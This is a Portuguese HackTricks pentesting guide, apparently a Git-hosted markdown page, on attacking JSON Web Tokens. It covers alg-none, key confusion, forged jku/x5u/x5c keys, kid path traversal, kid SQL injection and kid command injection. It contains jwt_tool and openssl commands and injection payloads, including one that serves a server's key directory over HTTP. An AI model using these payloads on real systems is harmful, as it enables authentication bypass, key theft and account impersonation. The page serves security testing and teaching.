hacktricks/pentesting-web/hacking-jwt-json-web-tokens.md

282 lines
18 KiB
Markdown
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Vulnerabilidades JWT (Json Web Tokens)
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Se você está interessado em **carreira de hacking** e hackear o inhackeável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
{% embed url="https://www.stmcyber.com/careers" %}
**Parte deste post é baseada no ótimo post:** [**https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology)\
**Autor da ótima ferramenta para pentest JWTs** [**https://github.com/ticarpi/jwt\_tool**](https://github.com/ticarpi/jwt_tool)
### **Vitórias Rápidas**
Execute [**jwt\_tool**](https://github.com/ticarpi/jwt_tool) com o modo `All Tests!` e aguarde linhas verdes.
```bash
python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"
```
Se você tiver sorte, a ferramenta encontrará algum caso em que a aplicação web está verificando incorretamente o JWT:
![](<../.gitbook/assets/image (935).png>)
Então, você pode procurar a solicitação em seu proxy ou despejar o JWT usado para essa solicitação usando jwt\_ tool:
```bash
python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
```
Você também pode usar a [**Extensão Burp SignSaboteur**](https://github.com/d0ge/sign-saboteur) para lançar ataques JWT a partir do Burp.
### Manipular dados sem modificar nada
Você pode apenas manipular os dados deixando a assinatura como está e verificar se o servidor está checando a assinatura. Tente mudar seu nome de usuário para "admin", por exemplo.
#### **A token é verificada?**
Para verificar se a assinatura de um JWT está sendo verificada:
* Uma mensagem de erro sugere verificação em andamento; detalhes sensíveis em erros verbosos devem ser revisados.
* Uma mudança na página retornada também indica verificação.
* Nenhuma mudança sugere nenhuma verificação; é quando você deve experimentar manipular as reivindicações do payload.
### Origem
É importante determinar se o token foi gerado do lado do servidor ou do lado do cliente examinando o histórico de requisições do proxy.
* Tokens vistos pela primeira vez do lado do cliente sugerem que a chave pode estar exposta ao código do lado do cliente, necessitando de investigação adicional.
* Tokens originados do lado do servidor indicam um processo seguro.
### Duração
Verifique se o token dura mais de 24h... talvez ele nunca expire. Se houver um campo "exp", verifique se o servidor está lidando com ele corretamente.
### Força bruta do segredo HMAC
[**Veja esta página.**](../generic-methodologies-and-resources/brute-force.md#jwt)
### Modificar o algoritmo para Nenhum
Defina o algoritmo usado como "Nenhum" e remova a parte da assinatura.
Use a extensão Burp chamada "JSON Web Token" para tentar essa vulnerabilidade e para mudar diferentes valores dentro do JWT (envie a requisição para Repeater e na aba "JSON Web Token" você pode modificar os valores do token. Você também pode selecionar para colocar o valor do campo "Alg" como "Nenhum").
### Mudar o algoritmo RS256 (assimétrico) para HS256 (simétrico) (CVE-2016-5431/CVE-2016-10555)
O algoritmo HS256 usa a chave secreta para assinar e verificar cada mensagem.\
O algoritmo RS256 usa a chave privada para assinar a mensagem e usa a chave pública para autenticação.
Se você mudar o algoritmo de RS256 para HS256, o código do back end usa a chave pública como a chave secreta e então usa o algoritmo HS256 para verificar a assinatura.
Então, usando a chave pública e mudando RS256 para HS256, poderíamos criar uma assinatura válida. Você pode recuperar o certificado do servidor web executando isso:
```bash
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
```
### Nova chave pública dentro do cabeçalho
Um atacante incorpora uma nova chave no cabeçalho do token e o servidor usa essa nova chave para verificar a assinatura (CVE-2018-0114).
Isso pode ser feito com a extensão "JSON Web Tokens" do Burp.\
(Envie a solicitação para o Repeater, dentro da aba JSON Web Token selecione "CVE-2018-0114" e envie a solicitação).
### Spoofing de JWKS
As instruções detalham um método para avaliar a segurança dos tokens JWT, particularmente aqueles que utilizam uma reivindicação de cabeçalho "jku". Essa reivindicação deve vincular-se a um arquivo JWKS (JSON Web Key Set) que contém a chave pública necessária para a verificação do token.
* **Avaliando Tokens com Cabeçalho "jku"**:
* Verifique a URL da reivindicação "jku" para garantir que ela leva ao arquivo JWKS apropriado.
* Modifique o valor "jku" do token para direcionar a um serviço web controlado, permitindo a observação do tráfego.
* **Monitorando a Interação HTTP**:
* Observar solicitações HTTP para sua URL especificada indica as tentativas do servidor de buscar chaves do link fornecido.
* Ao empregar `jwt_tool` para esse processo, é crucial atualizar o arquivo `jwtconf.ini` com sua localização pessoal do JWKS para facilitar os testes.
* **Comando para `jwt_tool`**:
* Execute o seguinte comando para simular o cenário com `jwt_tool`:
```bash
python3 jwt_tool.py JWT_HERE -X s
```
### Visão Geral de Problemas com Kid
Uma reivindicação de cabeçalho opcional conhecida como `kid` é utilizada para identificar uma chave específica, que se torna particularmente vital em ambientes onde múltiplas chaves existem para a verificação da assinatura do token. Essa reivindicação ajuda na seleção da chave apropriada para verificar a assinatura de um token.
#### Revelando Chave através de "kid"
Quando a reivindicação `kid` está presente no cabeçalho, é aconselhável procurar no diretório da web pelo arquivo correspondente ou suas variações. Por exemplo, se `"kid":"key/12345"` for especificado, os arquivos _/key/12345_ e _/key/12345.pem_ devem ser procurados na raiz da web.
#### Traversal de Caminho com "kid"
A reivindicação `kid` também pode ser explorada para navegar pelo sistema de arquivos, potencialmente permitindo a seleção de um arquivo arbitrário. É viável testar a conectividade ou executar ataques de Server-Side Request Forgery (SSRF) alterando o valor `kid` para direcionar arquivos ou serviços específicos. Manipular o JWT para mudar o valor `kid` enquanto mantém a assinatura original pode ser alcançado usando a flag `-T` no jwt\_tool, conforme demonstrado abaixo:
```bash
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
```
Ao direcionar arquivos com conteúdo previsível, é possível forjar um JWT válido. Por exemplo, o arquivo `/proc/sys/kernel/randomize_va_space` em sistemas Linux, conhecido por conter o valor **2**, pode ser usado no parâmetro `kid` com **2** como a senha simétrica para a geração do JWT.
#### SQL Injection via "kid"
Se o conteúdo da reivindicação `kid` for utilizado para buscar uma senha em um banco de dados, uma injeção SQL pode ser facilitada ao modificar o payload `kid`. Um exemplo de payload que usa injeção SQL para alterar o processo de assinatura do JWT inclui:
`non-existent-index' UNION SELECT 'ATTACKER';-- -`
Essa alteração força o uso de uma chave secreta conhecida, `ATTACKER`, para a assinatura do JWT.
#### OS Injection através de "kid"
Um cenário onde o parâmetro `kid` especifica um caminho de arquivo usado dentro de um contexto de execução de comando pode levar a vulnerabilidades de Execução Remota de Código (RCE). Ao injetar comandos no parâmetro `kid`, é possível expor chaves privadas. Um exemplo de payload para alcançar RCE e exposição de chave é:
`/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&`
### x5u e jku
#### jku
jku significa **JWK Set URL**.\
Se o token usar uma reivindicação de cabeçalho “**jku**”, então **verifique a URL fornecida**. Isso deve apontar para uma URL contendo o arquivo JWKS que possui a Chave Pública para verificar o token. Modifique o token para apontar o valor jku para um serviço web que você possa monitorar o tráfego.
Primeiro, você precisa criar um novo certificado com novas chaves privadas e públicas.
```bash
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
```
Então você pode usar, por exemplo, [**jwt.io**](https://jwt.io) para criar o novo JWT com as **chaves públicas e privadas criadas e apontando o parâmetro jku para o certificado criado.** Para criar um certificado jku válido, você pode baixar o original e alterar os parâmetros necessários.
Você pode obter os parâmetros "e" e "n" de um certificado público usando:
```bash
from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))
```
#### x5u
URL X.509. Um URI apontando para um conjunto de certificados públicos X.509 (um padrão de formato de certificado) codificados em formato PEM. O primeiro certificado no conjunto deve ser aquele usado para assinar este JWT. Os certificados subsequentes assinam cada um o anterior, completando assim a cadeia de certificados. X.509 é definido na RFC 52807. A segurança de transporte é necessária para transferir os certificados.
Tente **mudar este cabeçalho para uma URL sob seu controle** e verifique se alguma solicitação é recebida. Nesse caso, você **poderia adulterar o JWT**.
Para forjar um novo token usando um certificado controlado por você, você precisa criar o certificado e extrair as chaves pública e privada:
```bash
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
```
Então você pode usar, por exemplo, [**jwt.io**](https://jwt.io) para criar o novo JWT com as **chaves públicas e privadas criadas e apontando o parâmetro x5u para o certificado .crt criado.**
![](<../.gitbook/assets/image (956).png>)
Você também pode abusar de ambas essas vulnerabilidades **para SSRFs**.
#### x5c
Este parâmetro pode conter o **certificado em base64**:
![](<../.gitbook/assets/image (1119).png>)
Se o atacante **gerar um certificado autoassinado** e criar um token forjado usando a chave privada correspondente e substituir o valor do parâmetro "x5c" pelo certificado recém-gerado e modificar os outros parâmetros, nomeadamente n, e e x5t, então essencialmente o token forjado seria aceito pelo servidor.
```bash
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text
```
### Chave Pública Embutida (CVE-2018-0114)
Se o JWT tiver uma chave pública embutida como no seguinte cenário:
![](<../.gitbook/assets/image (624).png>)
Usando o seguinte script nodejs, é possível gerar uma chave pública a partir desses dados:
```bash
const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8";
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));
```
É possível gerar uma nova chave privada/pública, embutir a nova chave pública dentro do token e usá-la para gerar uma nova assinatura:
```bash
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
```
Você pode obter o "n" e "e" usando este script nodejs:
```bash
const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));
```
Finalmente, usando a chave pública e privada e os novos valores "n" e "e", você pode usar [jwt.io](https://jwt.io) para forjar um novo JWT válido com qualquer informação.
### ES256: Revelando a chave privada com o mesmo nonce
Se algumas aplicações usam ES256 e utilizam o mesmo nonce para gerar dois jwts, a chave privada pode ser restaurada.
Aqui está um exemplo: [ECDSA: Revelando a chave privada, se o mesmo nonce for usado (com SECP256k1)](https://asecuritysite.com/encryption/ecd5)
### JTI (JWT ID)
A reivindicação JTI (JWT ID) fornece um identificador único para um Token JWT. Ele pode ser usado para evitar que o token seja reproduzido.\
No entanto, imagine uma situação em que o comprimento máximo do ID é 4 (0001-9999). As requisições 0001 e 10001 vão usar o mesmo ID. Portanto, se o backend estiver incrementando o ID a cada requisição, você poderia abusar disso para **repetir uma requisição** (precisando enviar 10000 requisições entre cada repetição bem-sucedida).
### Reivindicações registradas do JWT
{% embed url="https://www.iana.org/assignments/jwt/jwt.xhtml#claims" %}
### Outros ataques
**Ataques de Relay entre serviços**
Foi observado que algumas aplicações web dependem de um serviço JWT confiável para a geração e gerenciamento de seus tokens. Foram registrados casos em que um token, gerado para um cliente pelo serviço JWT, foi aceito por outro cliente do mesmo serviço JWT. Se a emissão ou renovação de um JWT via um serviço de terceiros for observada, a possibilidade de se inscrever em uma conta em outro cliente desse serviço usando o mesmo nome de usuário/e-mail deve ser investigada. Em seguida, deve-se tentar reproduzir o token obtido em uma requisição para o alvo para ver se é aceito.
* Um problema crítico pode ser indicado pela aceitação do seu token, potencialmente permitindo a falsificação da conta de qualquer usuário. No entanto, deve-se notar que a permissão para testes mais amplos pode ser necessária se inscrevendo em uma aplicação de terceiros, pois isso pode entrar em uma área cinzenta legal.
**Verificação de Expiração de Tokens**
A expiração do token é verificada usando a reivindicação "exp" Payload. Dado que os JWTs são frequentemente empregados sem informações de sessão, um manuseio cuidadoso é necessário. Em muitas instâncias, capturar e reproduzir o JWT de outro usuário poderia permitir a impersonação desse usuário. O RFC do JWT recomenda mitigar ataques de repetição de JWT utilizando a reivindicação "exp" para definir um tempo de expiração para o token. Além disso, a implementação de verificações relevantes pela aplicação para garantir o processamento desse valor e a rejeição de tokens expirados é crucial. Se o token incluir uma reivindicação "exp" e os limites de tempo de teste permitirem, é aconselhável armazenar o token e reproduzi-lo após o tempo de expiração ter passado. O conteúdo do token, incluindo a análise de timestamp e verificação de expiração (timestamp em UTC), pode ser lido usando a flag -R da jwt_tool.
* Um risco de segurança pode estar presente se a aplicação ainda validar o token, pois isso pode implicar que o token nunca poderia expirar.
### Ferramentas
{% embed url="https://github.com/ticarpi/jwt_tool" %}
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Se você está interessado em **carreira de hacking** e hackear o inhackeável - **estamos contratando!** (_fluência em polonês escrita e falada necessária_).
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}